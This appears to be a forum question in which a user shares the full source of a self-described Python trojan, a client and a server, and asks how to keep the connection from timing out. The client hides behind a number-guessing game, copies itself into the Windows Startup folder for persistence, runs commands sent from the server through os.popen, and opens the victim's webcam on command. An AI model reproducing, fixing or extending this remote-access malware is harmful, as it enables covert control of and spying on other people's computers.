This is my client.py:
import random
import socket
import threading
import sys
import os
from os import system, name
from time import sleep
import cv2
def main():
# Move file to startup
username = os.getlogin()
current_dir = os.getcwd()
os.replace(f"{current_dir}\\client.py",
f"C:\\Users\\{username}\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\client.py")
def clear():
if name == 'nt':
_ = system('cls')
def access():
HOST = '127.0.0.1'
PORT = 22262
while True:
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
while True:
try:
client.connect((HOST, PORT))
break
except Exception:
sleep(1)
cmd_mode = False
while True:
command = client.recv(1024).decode('utf-8')
# Commands for the trojan
if command == 'cmdon':
cmd_mode = True
client.send(
'You now have terminal access!'.encode('utf-8'))
continue
if command == 'cmdoff':
cmd_mode = False
client.send(
'You have exited terminal access!'.encode('utf-8'))
if cmd_mode:
os.popen(command)
if command == 'webcam':
client.send(
f'{command} was exectued successfully!'.encode('utf-8'))
cap = cv2.VideoCapture(0)
while True:
ret, frame = cap.read()
cv2.imshow('WebCam (Press enter to exit)', frame)
if cv2.waitKey(1) & 0xFF == ord(' '):
break
cap.release()
cv2.destroyAllWindows()
except Exception:
sleep(1)
def game():
number = random.randint(0, 1000)
tries = 1
done = False
while not done:
guess = int(input('Enter a guess: '))
if guess == number:
done = True
print('You won!')
else:
tries += 1
if guess > number:
print('The actual number is smaller.')
else:
print('The actual number is larger.')
print(f'You need {tries} tries!')
t1 = threading.Thread(target=game)
t2 = threading.Thread(target=access)
t1.start()
t2.start()
if __name__ == '__main__':
try:
main()
except KeyboardInterrupt:
print('Interrupted')
try:
sys.exit(0)
except SystemExit:
os._exit(0)
This is my server.py:
import socket
from os import system, name
def clear():
if name == 'nt':
_ = system('cls')
HOST = ''
PORT = 22262
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind((HOST, PORT))
server.listen()
client, address = server.accept()
while True:
print(f'Connected to {address}')
cmd_input = input('Enter a command: ')
clear()
client.send(cmd_input.encode('utf-8'))
print(client.recv(1024).decode('utf-8'))
My code works perfectly but if I leave both connections on (client.py and server.py) for a bit of time then run a command on sever.py I get this error:
ConnectionResetError: [WinError 10054] An existing connection was forcibly closed by the remote host
What can I do to make my the program never timeout.
..........................................................................................................................................................................................................